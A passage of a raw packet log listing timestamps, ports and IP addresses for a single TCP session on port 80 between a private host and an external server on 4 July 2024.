Jul 4, 2024 20:34:28.058553934 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.058563948 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.058574915 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.058615923 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.059052944 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.059072971 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.059103966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.059113979 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.059119940 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.059133053 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.059161901 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.059241056 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.059252024 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.059334040 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.059962034 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.060053110 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.061990023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.062696934 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.184204102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184220076 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184303999 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.184341908 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184353113 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184365034 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184504032 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.184504032 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.184511900 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184524059 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184530020 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184535980 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184541941 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.184602976 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.184827089 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185034037 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185045004 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185055971 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185061932 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185071945 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185081005 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.185084105 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185101986 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.185121059 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.185528040 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185539961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185549974 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185581923 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.185594082 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.185698032 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185708046 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185718060 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185729027 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.185743093 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.185751915 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.186084032 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186094046 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186105013 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186130047 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.186145067 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.186256886 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186327934 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186338902 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186348915 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186361074 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186369896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186372995 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.186382055 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186393023 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.186393023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.186417103 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.186427116 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.187218904 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187233925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187243938 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187269926 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.187294006 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.187408924 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187418938 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187428951 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187439919 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187449932 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187459946 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187459946 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.187470913 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.187479973 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.187506914 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.187506914 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.187649012 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.190608025 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.190618992 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.190629005 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.190650940 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.190675020 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.199850082 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.199860096 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.199871063 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.199920893 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.308815956 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.308831930 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.308844090 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.308856010 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.308900118 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.308936119 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.308948040 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.308949947 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.308959961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.308970928 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.308975935 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.308995008 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309000015 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309025049 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309046984 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309082031 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309092045 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309109926 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309112072 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309120893 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309130907 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309132099 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309143066 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309155941 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309185028 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309269905 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309310913 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309339046 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309350014 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309380054 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309385061 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309393883 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309405088 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309415102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309426069 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309437037 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309446096 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309468985 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309648037 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309700966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309755087 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309770107 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309814930 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309824944 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309835911 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309847116 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309858084 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.309863091 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.309911013 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310110092 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310127974 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310139894 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310183048 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310209990 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310226917 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310237885 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310249090 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310271025 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310292006 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310309887 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310322046 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310333014 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310348034 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310364008 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310529947 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310539961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310550928 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310575962 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310586929 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310611963 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310622931 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310632944 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310642958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310655117 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310666084 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.310689926 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.310704947 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314261913 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314273119 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314284086 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314325094 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314325094 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314332008 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314343929 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314353943 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314366102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314378023 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314404011 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314456940 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314467907 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314477921 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314488888 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314500093 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314500093 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314516068 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314517975 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314527035 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314544916 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314547062 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314555883 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314564943 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314565897 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314579010 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314589024 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314599037 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314604044 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314642906 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314660072 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314702988 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314713001 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314723969 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314742088 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314768076 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314774036 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314785004 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314814091 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314908028 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314924002 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314935923 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.314959049 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.314975023 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.315037966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.315049887 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.315059900 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.315072060 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.315088034 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.315118074 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.404350996 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404366016 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404376984 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404392958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404403925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404414892 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404426098 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404433966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404437065 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.404444933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404454947 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404464960 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404486895 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404489040 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.404499054 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404508114 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.404510021 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404520988 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.404525042 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404534101 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.404546022 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.404573917 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.434824944 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434843063 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434854984 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434864998 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434876919 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434897900 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.434926033 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434936047 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.434942961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434954882 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434961081 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.434963942 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434974909 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434987068 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.434988022 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.434998035 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435024977 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435060978 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435072899 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435082912 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435092926 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435097933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435110092 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435118914 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435122013 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435144901 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435156107 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435175896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435231924 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435241938 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435273886 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435300112 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435311079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435321093 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435332060 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435344934 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435362101 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435471058 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435482025 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435492039 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435503006 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435513020 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435514927 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435529947 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435529947 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435540915 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435550928 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435551882 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435561895 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435571909 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435581923 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435586929 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435599089 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435602903 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435610056 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435621023 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435647011 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435842991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435879946 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.435883045 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435894012 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.435930967 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436003923 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436013937 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436024904 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436036110 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436048031 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436064959 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436140060 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436202049 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436213970 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436242104 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436250925 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436269045 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436280012 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436290026 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436300993 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436304092 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436316967 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436330080 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436347008 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436357975 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436367989 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436378956 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436388969 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436403990 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436429977 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436461926 CEST	80	49747	77.91.77.81	192.168.2.4
